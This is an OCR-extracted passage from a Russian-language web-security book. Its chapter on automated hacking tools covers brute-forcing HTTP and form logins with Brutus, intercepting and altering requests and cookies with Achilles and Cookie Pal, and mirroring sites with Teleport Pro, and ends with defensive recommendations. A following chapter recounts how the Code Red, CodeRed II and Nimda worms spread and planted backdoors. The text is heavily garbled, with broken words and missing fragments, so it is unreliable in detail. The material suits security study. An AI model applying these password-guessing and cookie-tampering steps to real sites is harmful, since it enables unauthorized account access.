Engaging target 132.168.0.5 with HTTP Auth) admin Trying administrator Maximum total attempts to Trying username: test Maximum total authentication attempts to 4024 username: guest Trying username: root username: backup 15.5. Подбор данных стандартной HTTP аутентификации с использованием программы Brutus Глава 15. в Web: средства автоматизации 309
Из рис. 15.5 видно, что с использованием утилиты Brutus были получены пароли пользователей administrator и test --- пустой пароль и test соответственно. Однако, если список имен пользователей и паро лей будет исчерпан, можно настроить программу Brutus для подбора пароля "в лоб". Как видно из рис. 15.6, с помощью конфигурационных парамет ров можно задать длину пароля и набор символов, который будет использоваться (все символы ASCII или их подмножество). В процессе работы (который потребует некото рого времени) программа Brutus проверит все воз 15.6. Параметры программы комбинации символов, соответствующих Brutus, определяющие режим под выбранному набору. Из рис. 15.7 видно, что при бора паролей "в длине пароля от 0 до 6 символов и использовании символов нижнего регистра полный перебор всех вариантов паролей на компьютере Р4 с частотой 1.2 ГГц займет около месяца. Это совсем не та скорость, на которую хотелось бы рассчитывать, однако программа достаточно стабильно работает и предоставляет хорошие результаты. С Custom Range 132168.0.5/ HTTP HTTP test verified 321272407 be per t remaining Puc. 15.7. Использование программы Brutus для подбора паролей "в Однако реальное преимущество, предоставляемое программой Brutus при взломе паролей Web, связано с возможностью подбора регистрационных данных, для ввода которых используются HTML формы. Утилита Brutus позволяет учесть особенности любой формы, включая поддержку cookie и определяемые пользователем ответы. На рис. 15.8 показаны конфигурационные параметры Brutus, которые можно при этом использовать. 310 Часть IV. Приемы кунг фу в Web
Mm fiddlbl to Параметры Brutus, используемые при аутен тификации через форму HTML Теперь, щелкнув на кнопке Learn From Settings, программе Brutus можно дать ука зание исследовать форму регистрации и попытаться определить, что требуется для ау тентификации. На рис. 15.9 показано, какие результаты были получены при исследо вании целевой формы. field j Puc. 15.9. Анализ формы с помощью про граммы Brutus В состав формы входит два поля: user и password. Проверку достоверности имени пользователя и пароля выполняет серверный сценарий С учетом полученной информации можно подобрать пароль с использованием программы Brutus (рис. 15.10). Программа Brutus является чрезвычайно гибкой и робастной, а кроме того, предоставляет широкий спектр возможностей. С ее можно взаимодей ствовать практически со всеми основными механизмами аутентификации, за ис ключением NTLM. Единственной известной программой, которая позволяет подоб рать регистрационные данные NTLM, является FoundScan от компании /f com). Глава 15. Хакинг в Web: средства автоматизации 311
Г Fake Г Г Pass 3 | fifi HTTP will 321272407 of authentication be 192.168.0.5 HTTP Disengaged 192.168.0.5 time: attempts : 20427 Initialising. .. verified Maximum numbet of authentication be with HTTP Результаты подбора данных аутентификации с использованием про граммы Brutus Achilles Это одна из наиболее неустойчивых в работе, однако чрезвычайно мощных утилит хакинга в Web, которая предназначена для системы Windows. Эта утилита функцио нирует в качестве посредника. С ее помощью можно перехватить информацию, пере даваемую Web серверу, внести в нее изменения, а затем передать серверу уже в от корректированном виде. Такая модификация "на лету" данных, передаваемых пользо вательским броузером серверу, открывает чрезвычайно широкие возможности для злоумышленников. Программа Achilles предоставляет следующие возможности: • proxy сервер (с возможностью настройки используемых портов); • перехват данных HTTP и SSL; • вставка/модификация данных HTTP; • пересчет требующихся HTTP полей; • проверка на переполнение буфера; • регистрация HTTP и SSL сеансов. Основные возможности, которые будут продемонстрированы ниже, --- это перехват трафика HTTP и SSL, а также модификация передаваемых данных. Это важные особенности программы Achilles. Реализуемый при этом процесс проиллюст рирован на рис. 312 Часть Приемы фу в Web
Клиент Web сервер После щелчка в окне программы Achilles на кнопке запрос клиентского броузера отсылается на Web сервер для обработки Web сервер отвечает клиенту. Если флажок Intercept Server Data установлен, программа Achilles будет перехватывать также ответ сервера, а передего доставкой в пункт назначения (клиентский броузер) ожидать щелчка на кнопке Send На клиентском компьютере трафик броузера передается на порт5000 программы Achilles Клиентскийброузер Рис. 15.11. Перехват данных с использованием программы Для использования программы Achilles ее необходимо запустить, а затем устано вить следующие флажки: • Intercept Mode ON; • Intercept Client Data. После этого нужно щелкнуть на кнопке Start. Однако, перед тем как приступить к использованию программы Achilles в качестве посредника между Internet и тестируе мым Web узлом, следует внести изменения в конфигурационные параметры броузера. Необходимо обеспечить, чтобы программа Achilles использовалась броузером в каче стве proxy сервера. По умолчанию она связана с портом 5000. Следовательно, для того чтобы броузер Internet Explorer смог использовать этот порт как "адрес" proxy сервера, выполните приведенную ниже последовательность действий. 1. Выберите команду Options. 2. Перейдите во вкладку Connections. . 3. Щелкните на кнопке LAN Settings. 4. Установите в группе параметров Proxy Server флажок Use a proxy server fo r 5. В поле Address введите адрес локального узла 127.0.0.1. 6. В поле Port укажите порт 5000, который используется программой Achilles по умолчанию (или любой другой используемый вместо него порт). После настройки броузера можно приступать к путешествию в Web уже через программу и к отслеживанию каждого запроса, передаваемого на целевой сер вер. Так, например, на рис. 15.12 показан запрос GET и поля заголовка, которые были переданы целевому серверу. Запрос GET был отправлен Web серверу, а программа Achilles его перехватила. Те перь необходимо щелкнуть на кнопке Send в нижней левой части окна, чтобы отпра вить запрос на целевой Web сервер. При необходимости перехваченные данные мож но изменить, а затем для их передачи на сервер щелкнуть на кнопке Глава 15. Хакинг в Web: средства автоматизации 313
I Accept J 6.0. NT 5.0) Host Puc. 15.12. Перехват запроса GET с помощью программы Achilles Помимо перехвата клиентских данных, Achilles позволяет также захватывать дан ные, передаваемые сервером. Для этого достаточно установить флажок Intercept Server После этого будет перехватываться не только запрос клиента, но и ответ сервера. Это позволяет лучше разобраться с данными cookie, а также механизмом управления состоянием, реализованным на Web сервере. К сожалению, программа Achilles ничего не сообщает о том, что отображается в окне редактирования: запрос или ответ. Другими словами, содержимое этого окна может быть либо запросом, отправленным Web серверу, либо ответом Web сервера на запрос броузера. Поэтому для эффективного использования Achilles нужно правильно понимать последовательность передачи этих сообщений (что подробно описано в главе Пример реального использования программы Achilles представлен в следующем разделе. Вопросы "перевоплощения" более подробно рассматриваются в главе Cookie Pal Программа Cookie Pal --- одно из лучших средств мониторинга состояния системы. Данные cookie представляют собой поля, создаваемые в одном или нескольких файлах и используемые броузером для поддержки состояния и получения информации с Web сервера. Как правило, эти данные скрыты от пользователя и сами по себе не представляют большой опасности. Однако с использованием данных cookie можно ввести Web сервер в заблуждение и получить от него дополнительную информацию. Другими словами, модифицировав данные cookie в запросе GET, можно зарегистриро ваться в качестве другого пользователя. Серверами и броузерами могут использоваться два типа данных cookie: временные (на время сеанса) и постоянные. Временные данные cookie хранятся в оперативной памяти и удаляются после закрытия клиентского броузера; постоянные размещаются на жестком диске и считываются броузером при необходимости. Например, постоян ные данные cookie броузера Internet Explorer хранятся в каталоге and На каждом Web узле имеются собственные файлы, в которых хранятся данные cookie. Например, в приведенном ниже файле содержится 314 Часть IV. Приемы фу в Web
три поля cookie: идентификационный номер (RMID), имя (welcome) и имя пользовате ля/пароль (userinfo): RMID 1056 3567004032 30124358 4178596544 29486711 * Stuart 1056 1240627200 30394925 4269326544 29486711 * userinfo 1056 1240627200 30394925 4273736544 29486711 * Программа Cookie Pal позволяет управлять как временными, так и постоянными cookie еще до их сохранения в оперативной памяти или на жестком диске соответст венно. Это достигается за счет перехвата ответа Web сервера и отображения перехва ченных данных в диалоговом окне Alert (рис. Рис. 15.13. Диалоговое окно Alert про граммы Cookie Pal В этом окне отображается имя сервера, передавшего данные cookie, имя поля (Name), его значение и дата истечения срока действия. В этом же окне можно либо принять данные cookie, либо отказаться от них. После того как данные будут при няты, ими можно управлять с использованием средств пользовательского интерфей са (рис. Глава в Web: средства автоматизации 315
V Session | | | The any cookies ther which on •• * com com mtn.com Click to rfomalion. Nome AM AM AM PM SITESERVER sdcSUP id PREF 5:00 PM PM 5:00 PM ff Г | | Value On .' Основное окно программы Cookie Pal При переходе во вкладку Session диалогового окна будут отображены временные данные cookie, а при переходе во вкладку Cookies --- постоянные. В пользователь ском интерфейсе можно просматривать все существующие поля, а также удалять их при необходимости (кнопка Delete для постоянных данных и кнопка Clear --- для временных). Эта возможность оказывается чрезвычайно полезной, если необходимо периодически удалять многочисленные файлы cookie, которые скопились за время путешествий в Internet. Как правило, в файлах cookie фиксируется такая информация, как сохраненные имена пользователей/пароли, пользовательские предпочтения, адреса электронной почты и данные, используемые в процессе интерактивной регистрации. В этих "безобидных" данных cookie взломщик может найти огромное количество ценной информации. Однако эти данные хранятся только в оперативной памяти или на жест ком диске. Поэтому удаленный злоумышленник не сможет получить к ним доступ, тем более, воспользоваться ими для нападения. Хотя данные cookie в целом и без вредны, к ним нужно относиться с осторожностью. Данные cookie могут оказаться в чужих руках либо в результате кражи (если ваш со сед работает в том же сегменте локальной сети), либо после обратного проектирования. Если хакеру удастся заполучить (например, с использованием программы Cookie Pal) и расшифровать структуру cookie, он с успехом сможет выдать себя за другого пользовате ля. Для интерактивных Web узлов банков или торговых компаний подобная перспекти ва чрезвычайно опасна, поскольку злоумышленники (посторонние или "свои") смогут под чужим именем участвовать в продажах акций или банковских транзакциях. Получив из данных cookie любую идентификационную информацию, в частности имя пользова теля/пароль, хакер может выступить в роли какого либо другого пользователя. Рассмотрим простой пример, чтобы лучше ощутить влияние данных cookie на обеспечение безопасности и конфиденциальности. В приведенном ниже коде ASP броузеру пользователя передаются специальные данные cookie, в которых хранится количество посещений Web узла данным клиентом. Далее это число отображается в окне броузера. cookies If = Then date + 365 316 Часть IV. Приемы фу в Web
Else End If •1 • +1 if then <font face=verdana size=20>0ur Cookie Example</fontxbrxbr> <font face=verdana size=6>This is the</fontxfont face=verdana size=6 <b>first time</bx/font> <font face=verdana size=6>you have graced us with your else <font size=20xb>Welcome <font face=verdana size=6>You have visited this Web <font face=verdana color=redxb> if then time else times before!" end if end if </b></font> </body> </html> При первом целевого Web узла броузером было получено начальное значение cookie (рис. You totowing cookie: 1 Рис. Исходное значение cookie Программа Cookie Pal перехватила эти данные и предложила либо принять их, ли бо отказаться от них. После принятия данных на клиентском компьютере появились временные cookie (рис. 15.16) и постоянные cookie (рис. Глава 15. Хакинг в Web: средства автоматизации 317
Session В fl| | for I 192.168.0.9 • 1 . Временные данные cookie H Г 15.17. Постоянные данные cookie В окне броузера отображаются результаты обработки (рис. 15.18). Из содержимого окна броузера видно, что на клиентском компьютере не были обнаружены данные cookie с нужным именем Таким образом, дан ные cookie были добавлены в клиентский броузер. При следующем посещении Web узла (или после щелчка на кнопке Refresh в броузере) существующие данные cookie будут загружены в буфер броузера и на экране появится диалоговое окно, показанное на рис. 15.19. Обратите внимание, что теперь передается значение 2, а не 1. Причина заключает ся в том, что в буфере броузера уже содержится значение cookie, полученное ранее с узла 192.168.0.9. Поэтому данное значение будет увеличено на 1. На рис. 15.20 пока зано, что при этом будет отображаться в окне броузера. 318 Часть IV. Приемы фу в Web
Our Cookie Example This is the first timeyou have graced us with your presence. Результаты обработки Рис. 15.19. Повторный перехват данных cookie Если Web сервера (и его око) необходимо "обмануть", можно воспользоваться программой Achilles, модифицировать данные cookie и пере дать этому сценарию большое число. Для этого нужно настроить программу Achilles для использования в качестве proxy сервера, а затем ввести в броузере адрес целевого узла: 192.168,0.9. На рис. 15.21 показано диалоговое окно программы Achilles. После этого в диалоговом окне Achilles для параметра нужно задать какое нибудь большое значение, например 99999999, затем щелкнуть на кнопке Send (рис. 15.22). ASP сценарий обработает это огромное число и вернет броузеру информацию, как показано на рис. 15.23. Таким образом, манипулируя данными cookie, можно заставить сервер обработать непредусмотренное значение, которое почти наверняка (при определенных стараниях) будет некорректно обработано. Нетрудно представить, что последствия подобных зло употреблений могут оказаться весьма серьезными. Можно задать еще большее значе ние и попробовать добиться переполнения буфера, как показано на рис. 15.24. Глава 15. Хакинг в Web: средства автоматизации 319
Welcome back! Y o u have visited this Web page 1 time before! 15.20. Содержимое окна броузера dent Г 1 V" NT Host Puc. 15.21. Диалоговое окно программы Achilles 320 Часть IV. Приемы фу в Web
ON Fie Г Intercept Sews /welcome Age* NT 5.0) Cookie: 15.22. Диалоговое окно программы Achilles после внесения изменений Б* \ Welcome back! 1 Y o u have visited this Web page: 99999999 times before! 1 | Puc. 15.23. Результаты выполнения Глава 15. Хакинг в Web: средства автоматизации
error Overflow: line 8 15.24. Состояние переполнения буфера, достигнутое с использованием данных cookie Проиллюстрированное выше переполнение буфера само по себе не представляет большой опасности, поскольку ошибка была обнаружена механизмом обработки кода VBScript. В результате в окне броузера появилось сообщение об ошибке. Однако зло умышленник может попробовать обойти этот механизм. Можно передавать различные комбинации символов и попробовать найти способ взлома приложения или, что еще хуже, самого Web сервера. Если в процессе разработки приложения проверке входных данных не уделялось должного внимания, последствия не заставят себя долго ждать. В рассмотренном примере в ASP сценарий следовало бы добавить специальную процеду ру, которая обеспечивает обработку числовых данных только из заданного диапазона. Teleport Pro Утилита Teleport Pro для Windows --- один из лучших краулеров для Web, который характеризуется высокой надежностью и большим быстродействием. Получая на входе адрес URL, эта программа извлекает все файлы с указанного Web сервера и связан ных с ним узлов. Причем для этого используется несколько потоков. Утилита проста в использовании и позволяет скопировать на локальный компьютер образ всего Web сервера (во всяком случае всю его "клиентскую" часть). Как видно из рис. 15.25, Teleport Pro обладает понятным и хорошо продуманным интерфейсом, с которого можно быстро просмотреть всю структуру ката логов и файлов целевого Web узла. Среди современных к числу которых относится и wget для системы UNIX, можно выделить лишь несколько утилит, которые обладают большей скоростью и лучшей управляемостью, чем Teleport Pro. После получения образа Web узла можно проанализировать весь код клиентских сценариев и попытаться найти в них различные изъяны. 1. Неудачные комментарии. В комментариях может содержаться конфиденциаль ная информация, например названия подразделений компании или дополни тельные номера телефонов. В полях комментариев одного из Web узлов авто рам книги удалось обнаружить даже имена пользователей и пароли. 2. Выявление форм. Если злоумышленнику удастся найти на определенном Web узле все страницы, в состав которых входят формы, он сможет реализовать различные атаки, в том числе связанные с генерацией условия DoS (отказа в обслуживании), подбором пароля "в лоб", а также недостаточной проверкой входных данных. 322 Часть IV. Приемы фу в Web
3. Идентификация сценариев. Выявив страницы с клиентскими сценариями, хакер сможет реализовать разнообразные атаки, связанные, в частности, с недоста точной проверкой входных данных. 4. Идентификация Обнаружив страницы с Java, взломщик мо жет прибегнуть к каждого из них и поиску в полученном ис ходном коде такой конфиденциальной информации, как пароли. Предотвращение возможности получения образа всего Web узла является непростой задачей. Именно поэтому злоумышленники могут воспользоваться одним из средств, которые были описаны в данной главе, и попытаться осуществить реальную атаку. :••• ftervdocs/ i i frnanual/dso.htnJ ;I • Утилита Pro в действии Рекомендации по обеспечению безопасности Рекомендации, связанные с материалом данной главы, аналогичны тем, которые уже неоднократно упоминались в этой книге. 1. Повышение надежности паролей. По всей вероятности, единственный урок, кото рый можно извлечь из данной главы, --- это необходимость использования более сложных паролей. Такая контрмера позволит противостоять как подбору паролей "в лоб" (Whisker и Brutus), так и подмене сеансов (Achilles и Cookie Pal). Надеж ные пароли --- это самое важное звено подсистемы обеспечения безопасности любого Web узла. Пароли должны иметь длину не менее семи символов и состо ять из цифр, букв и метасимволов, таких, как ?, 1, и$. Глава 15. Хакинг в Web: средства автоматизации
2. Ведение журналов регистрации событий системы и Web сервера. При вании взломщиками таких средств, как Whisker и Brutus, в течение нескольких секунд на Web сервер может обрушиться целая лавина попыток подбора паро лей "в лоб". Такие попытки можно обнаружить лишь при регистрации собы тий как на уровне самой системы, так и Web сервера. 3. Проверка входных данных. Как уже не раз отмечалось, разработчики сценариев должны обеспечить проверку корректности данных, поступающих от пользовате ля. Необходимо проверять тип передаваемых данных (integer, string и т.д.), а также удалять из них любые нежелательные символы, в частности метасимволы. Резюме Рассмотренные в данной главе автоматизированные средства позволяют восполь зоваться разнообразными приемами хакинга и оценить уровень защищенности Web приложения. Они значительно упростили решение этой задачи, поскольку ра нее все необходимые действия приходилось выполнять вручную. Воспользовавшись приведенными выше рекомендациями, можно существенно повысить безопасность системы и Web узла. 324 Часть Приемы фу в Web
ГЛАВА16 Все люди склонны совершать ошибки; во многих случаях этому со блазну поддается большинство людей, которыми движет страсть или выгода. Джон английский философ
Введение год следовало бы назвать Годом Червя --- компьютерного червя. Вопреки своему имени, компьютерный червь больше всего похож на самовоспроизводящийся и поглощающий ресурсы вирус, который способен нанести серьезный урон даже са мым крупным вычислительным системам. Определение, которое можно найти по ад ресу гласит: Червь --- это программа (или алгоритм), которая воспроизводит себя через компьютерную сеть и обычно выполняет такие вредоносные действия, как истощение ресурсов компьютера и, возможно, завершение работы системы. См. также вирус. С тех пор как в 1988 году Роберт Таппан Моррис (Robert Tappan Morris) выпустил на просторы Internet первый такой вирус, необратимо изменилось. Червь Morris, как его впоследствии стали называть, использовал "неконтролируемую программную ошибку" и с успехом копировал себя в Internet, захватывая все больше системных ресурсов и в конечном счете приводя к их истощению. Как правило, вирус червь преследует единственную цель: вывести из строя ком пьютерные системы. Однако он способен сделать значительно больше. Для тех, кто занимается вопросами обеспечения безопасности в Internet в настоящее время, червь Morris --- не более чем детская забава. Червь Code Red 26 января 2000 года На Web узле компании Microsoft был опубликован ничем не примечательный бюллетень MSOO 006; он был разослан на разные узлы, на которых поддерживались списки известных изъянов различных приложений (http://www .microsoft.com/te chnet/ Изъян назывался Malformed Argument и о нем едва не среди неиссякаемого потока со общений об изъянах программных продуктов компании Microsoft. 18 июня 2001 года: первое нападение Одна из групп хакеров опубликовала сообщение о том, что на серверах IIS можно вызвать удаленное переполнение буфера. При корректном использовании такой воз можности взломщик мог получить удаленный доступ в контексте учетной записи SYSTEM к любому серверу, на котором был установлен этот программный продукт. Другими словами, хакер мог получить полный контроль над целевой системой и вы полнить на ней любые команды. Виновником этого изъяна оказался который обрабатывал запросы к индексному серверу. Как правило, этот сервер обслуживает запросы, передавая специально сформированный запрос GET с расширением Группа хакеров смог ла найти способ, позволяющий вызвать в данном фильтре переполнение буфера и выполнить на удаленной системе произвольный код. По существу, эта группа под твердила широкую распространенность изъяна, описываемого в документе MSOO 006, который был опубликован на полтора года раньше. 326 Часть IV. Приемы фу в Web
В сообщении упоминалось также о том, что из за "широты натуры" переполнения буфера необходимо применить другие методы, которые позволили бы в полной мере воспользоваться обнаруженным изъяном. Была разработана так называемая техноло гия впрыскивания в кучу (heap spraying), однако она оказалась ненадежной и неста бильной. Предлагались и другие подходы, однако они также не получили широкого распространения, поскольку после ознакомления с соответствующим документом складывалось впечатление, что использование этого изъяна является слишком не подъемной задачей. В результате на тот момент так и не были разработаны средства переполнения буфера на сервере IIS, с помощью которых можно было бы организо вать массированные атаки на общедоступные домены. Однако отдельные атаки все же предпринимались. Но печальнее всего оказалось то, что большинство людей занимали следующую позицию: средства взлома --- нет угрозы". июля 2001 года От сетевых администраторов, которые столкнулись с многочисленными атаками, основанными на изъяне стали поступать сообщения и журналы реги страции. Оказалось, что взломщики пользовались подходом, в рамках которого доступ осуществлялся ко всей памяти. Это позволяло гораздо проще добиться переполнения буфера. Подробный анализ журналов регистрации свидетельствовал о том, что стал зарождаться новый червь. Подробности В то время мало что было известно как о самом изъяне, так и о связанной с ним опасности, угрожающей Web серверам IIS. Однако более глубокий анализ ранее реа лизованных атак заставил экспертов по безопасности всерьез заговорить о растущей угрозе. Уже было известно о том, что это некоторая разновидность червя, но для сло жения всей головоломки еще не было собрано достаточно информации. Было извест но лишь следующее. • Сначала с переполнения буфера червь получал контроль над Web сервером. • Червь начинал процесс инфицирования с создания списка случайно сгенериро ванных IP адресов. Ошибка в реализации этого кода привела к тому, что на са мом деле эти адреса не были случайными. Разработчик кода использовал данное начальное число, которое передавалось генератору случайных чисел. В ре зультате каждый зараженный вирусом червем сервер генерировал один и тот же список IP адресов. Поэтому одни и те же системы инфицировались многократно. После инфицирования системы червь выполнял целый ряд действий. • В зараженной системе настраивалось специфичное для червя рабочее окружение. • Для самораспространения червь создавал отдельных потоков. • Первые 99 потоков использовались для инфицирования других Web серверов. • В контексте 100 го процесса проверялось, установлена ли на сервере жертве английская версия системы Windows NT/2000. Если такая проверка завершалась успешно, червь принимался за модификацию содержимого Web сервера. Со держимое индексной страницы локального Web сервера удалялось, а вместо него вставлялся текст Welcome to Hacked By Ha сервере модифицированная Web страница оставалась активной в течение деся ти часов, а затем исчезала. Приведенное выше сообщение снова появлялось лишь при повторном заражении. Глава 16. Вирусы черви 327
• Если на сервере была установлена другая версия операционной системы, 100 й поток использовался для дальнейшего распространения инфекции. • В рамках каждого потока червь проверял наличие файла Если этот файл удавалось найти, червь переходил в пассивное состояние. В противном случае поток по прежнему использовался для инфицирования других систем. • В каждом потоке проверялись системные часы. Если текущая дата относилась к последней декаде месяца (после 20 го числа), то поток использовался не для дальнейшего распространения инфекции, а для нападения на узел http://www.whitehouse.gov. С 20 го по 28 е число каждого месяца червь отправ лял 100 Кбайт данных на Web узел Белого Дома. С учетом того, что точно так же "поступали" и все другие инфицированные системы, на этом Web узле про исходил отказ в обслуживании • С 1 го по 19 е число каждого месяца червь "не обращал внимания" на Web узел Белого Дома и продолжал дальнейшее инфицирование в обычном порядке. К счастью, ошибка, допущенная в алгоритме генерации случайных чисел, факти чески спасла мир от масштабного заражения. Некорректная реализация этого алго ритма не позволила вирусу червю первого поколения достигнуть высокой эффектив ности. К сожалению, вскоре нашлись желающие исправить эту ошибку. Замечание: более полную информацию можно получить по адресу июля 2001 года Утром 19 июля стало известно, что новая версия вируса инфицирует все Web серверы IIS, на которых не были установлены соответствующие модули обновления. При этом са первая версия вируса, в которую было внесено одно небольшое, тем не менее ключевое изменение: фиксированное начальное число, использовавшееся в пер вом варианте генератора случайных чисел, бьшо заменено случайным. Теперь на каждом инфицированном компьютере генерировался новый список случайных IP адресов. Это не значительное изменение привело к невиданным последствиям. В течение первых 14 часов "обновленный" вирус червь Code Red инфицировал более 359 тыс. компьютеров. Поскольку программный код нового червя, по сути, совпадал с его первой версией (кроме использования случайного начального числа), наносимый ущерб по прежнему был связан с подменой Web страниц. Однако влияние червя на глобальную инфра структуру оказалось гораздо более значительным, что объясняется большим количест вом взломанных узлов, которые использовались для нападения на новые системы. Червь распространялся и заражал компьютеры с такой скоростью, что многие из них инфицировались повторно, хотя системные администраторы перезагружали систему для установки модуля обновления, устраняющего изъян Так, в одной из компа ний за время восстановления ее системы и установки необходимых модулей обновле ния вирулентность червя позволила ему повторно инфицировать эту же систему. Начало было положено. Потребовалось совсем немного времени, чтобы о себе зая вила следующая, еще более разрушительная разновидность червя. 4 августа 2001 года http: asp?ReleaseID=30833 В этот день стало известно о появлении совершенно новой модификации вируса. Этот червь кардинально отличался от своих старших братьев. В исходном коде вируса 328 Часть IV. Приемы фу в Web
содержалась строка что и определило его имя. Вирус действовал следую щим образом. • В первую очередь червь проверял, не был ли узел инфицирован ранее. Если нет, то червь переходил в неактивное состояние. • Червь проверял, установлен ли в системе китайский язык. Если этот язык был установлен, то создавалось 600 потоков. Для "некитайских" систем создавалось 300 параллельных потоков. • Червь активизировал потоки для своего распространения. Ниже описана деструктивная логика новой версии червя. • В первую очередь червь проверял системные часы локального узла. Если теку щий год был меньше 2002 го, а месяц --- меньше 10 го, то вирус продолжал свою разрушительную деятельность. Если дата не принадлежала к этому диапа зону, то система перезагружалась. • В черве CodeRed II был реализован усовершенствованный метод генерации пробных IP адресов. Сначала генерировался случайный IP адрес. После этого для выделения целевого адреса на него накладывалась маска. Один раз из вось ми червь пытался инфицировать узел, которому соответствовал совершенно случайный IP адрес. В половине всех атак использовались адреса из диапазона класса А, к которому принадлежал и локальный адрес зараженного компьютера. Три раза из восьми червь выбирал адреса из диапазона класса В, к которому относился и локальный IP адрес. • Если сгенерированный адрес совпадал с IP адресом локальной системы или был широковещательным, то он пропускался и генерировался следующий. Ме тод выбора адресов, реализованный в черве CodeRed II, позволял ему распро страняться значительно быстрее, чем это удавалось червю Code Red. По сравнению с предыдущими версиями вирусов деструктивная логика червя CodeRed II оказалась гораздо более разрушительной, поскольку после заражения сис темы вирус изменял привилегии, используемые удаленным администратором. CodeRed II не "стремился" привести к отказу в обслуживании и не модифицировал Web страницы. После заражения сервера любой желающий мог получить контроль над ним. Для этого червем выполняется следующее. 1. Выбирается диск 2. Файл копируется из системного каталога Windows в файлы \ine tpub\ и 3. В корневой каталог системы помещается файл explorer.exe, в который внедрен специальный двоичный код. 4. Все предыдущие действия выполняются также для диска Файл explorer.exe представляет собой "троянского коня". При его вызове выпол няется ряд злонамеренных действий. _ 1. Осуществляется поиск локального каталога Windows. 2. Из локального системного каталога Windows запускается проводник. 3. "Троянский конь" отключает службу защиты системных файлов (Windows File Protection). 4. Создается виртуальная папка Web с привязкой к каталогам С: и В результа те в системе создается "потайной ход" (backdoor). Даже после удаления файла root.exe сервер остается уязвимым для хакеров. Глава 16. Вирусы черви 329
Червь Code Red вместе со всеми его разновидностями оказался самым "успеш ным" вирусом в Internet. За три месяца этим трем червям удалось инфицировать оше ломляющее количество компьютерных систем. Финансовые потери оценивались мил лиардами долларов. Червь Nimda сентября 2001 года От пользователей и администраторов хлынули потоки сообщений, в которых со держались подробности нападений на их Web серверы. Кроме самих Web атак, в них упоминались также подозрительные почтовые сообщения с вложенным аудиофайлом. На первый взгляд складывалось впечатление, что все эти проблемы порождены новой версией червя Code Red. Однако последующий анализ показал, что в сети появился новый вирус червь. Новый червь, получивший официальное название W32/Nimda A или просто Nimda, был предназначен для инфицирования систем Win 9x, NT и Windows 2000. Для своего распространения и инфицирования компьютеров червь Nimda использовал сразу несколько возможностей. 1. Через электронную почту: Outlook. Для инфицирования передается почтовое со общение с вложением которое имеет тип audio/x wav. Если это со общение принято с использованием уязвимого почтового клиента, то при его предварительном просмотре файл readrae.exe автоматически выполняется без согласия пользователя. При этом может быть указана произвольная тема со общения и ложный электронный адрес отправителя. 2. Через Web: IIS. Червь выполняет поиск Web серверов с потайным ходом root.exe, установленным ранее вирусом CodeRed II. В качестве других методов проникновения могут использоваться изъяны Unicode (CVE 2000 0884) и двойного декодирования (CVE 2001 0333). Обе ошибки связаны непосредст венно с Web сервером IIS компании Microsoft. 3. Червь добавляет код во все HTML и содержа щиеся на инфицированном сервере. В результате могут инфицированы все узлы, с которых пользователи обращались к этим инфицированным страницам. Совместно используемые сетевые --- червь Nimda может распространяться также через неправильно сконфигурированные или незащищенные сетевые Подробности По электронной почте передаются сообщения с вложением readme.exe. Пользу ясь изъянами некоторых версий Internet Explorer и почтового клиента Outlook, этот исполняемый файл запускается автоматически без участия пользователя. Червь Nimda делает этот файл скрытым и копирует его в корневой каталог системы под именами load.exe и riched32.dll. Затем червь пытается "распространить" себя через совместно используемые сетевые ресурсы. В файл добавляется строка shell=explorer.exe 330 Часть IV. Приемы фу в Web
После этого вирус будет активизироваться при загрузке системы. Целевые почтовые адреса извлекаются из адресной книги, почтовых ящиков, а также Затем вирус пересылается по обнаруженным адресам. Жертвами червя становятся Web серверы IIS, в которых присутствует изъян Unicode, а также потайной ход, созданный ранее вирусом Code Red II. Получив контроль над уязвимым сервером IIS, червь использует протокол для доставки нужного кода с атакующего узла на узел жертву. Передаваемый файл на зывается В нем содержится код на языке JavaScript, который загружает файл а затем добавляет его содержимое в HTM и HTML файлы. Если к такому узлу обращается пользователь с незащищенной версией Internet Ex plorer, файл загружается и вирус продолжает дальнейшее распространение. И наконец, распространяясь в незащищенных сетях, вирус создает файлы с рас ширениями и которые аналогичны файлу Не вызывает сомнения тот факт, что широкомасштабная эпидемия оказа лось возможной из за использования этим вирусом разнообразных способов распро странения. После того как были выявлены изъяны, которые использовались червем, стала понятна и реальная причина его успешного распространения: не были устране ны известные изъяны и не были установлены необходимые модули обновления. В идеале всех этих потерь можно было избежать, если бы пользователи и администрато ры применили соответствующие меры защиты. Безусловно, современный мир весьма далек от совершенства, и в будущем черви продолжат свое победное шествие. Если завтрашний червь воспользуется неизвестными изъянами, средств защиты от которых еще не существует, то он может привести к полному хаосу и вызвать серьезные нару шения в работе интерактивных служб. Еще несколько замечаний Хотя ущерб, нанесенный червями Code Red и Nimda, был ошеломляющим, потери могли оказаться гораздо больше. Так, например, жертвами нападения червя Code Red стали только серверы IIS5, тогда как изъян существовал и в серверах IIS4. Анализ изъяна проведенный авторами этой книги, свидетельствует о том, что исполняе мый код без проблем можно использовать и на серверах IIS4. Если бы разрушитель ная червя Code Red была нацелена на оба сервера, IIS5 и IIS4, то последствия могли бы стать настоящей катастрофой. К сожалению, вполне вероятно, что в буду щем появится новый и более опасный вариант червя Code Red. По данным списка серверы Apache занимают 56%, а серверы Microsoft --- 30% рынка Web серверов. Серверы IIS компании Microsoft --- это вполне очевидная цель для нападения, особенно с учетом истории обнаруженных изъя нов и недоступности его исходного кода. Сервер IIS скрывает в себе еще много неиз вестного. Вполне очевидно, что со временем в нем будут выявлены новые бреши в под системе защиты. Тем не менее/ следует заметить, что, если бы аналогичный изъян был обнаружен в Web сервере Apache, катастрофа оказалась бы не менее масштабной. Реакция и контрмеры Одной из главных причин некоторой контролируемости распространения червя Code Red стали независимые исследования его кода, проведенные различными спе циалистами по вопросам безопасности. Им удалось проанализировать логику, по ложенную в основу реализации червя, и выделить те его свойства, с которыми свя зана наибольшая угроза. Web узлу Белого Дома удалось избежать опасности благо даря своевременной помощи аналитиков. Глава 16. Вирусы черви
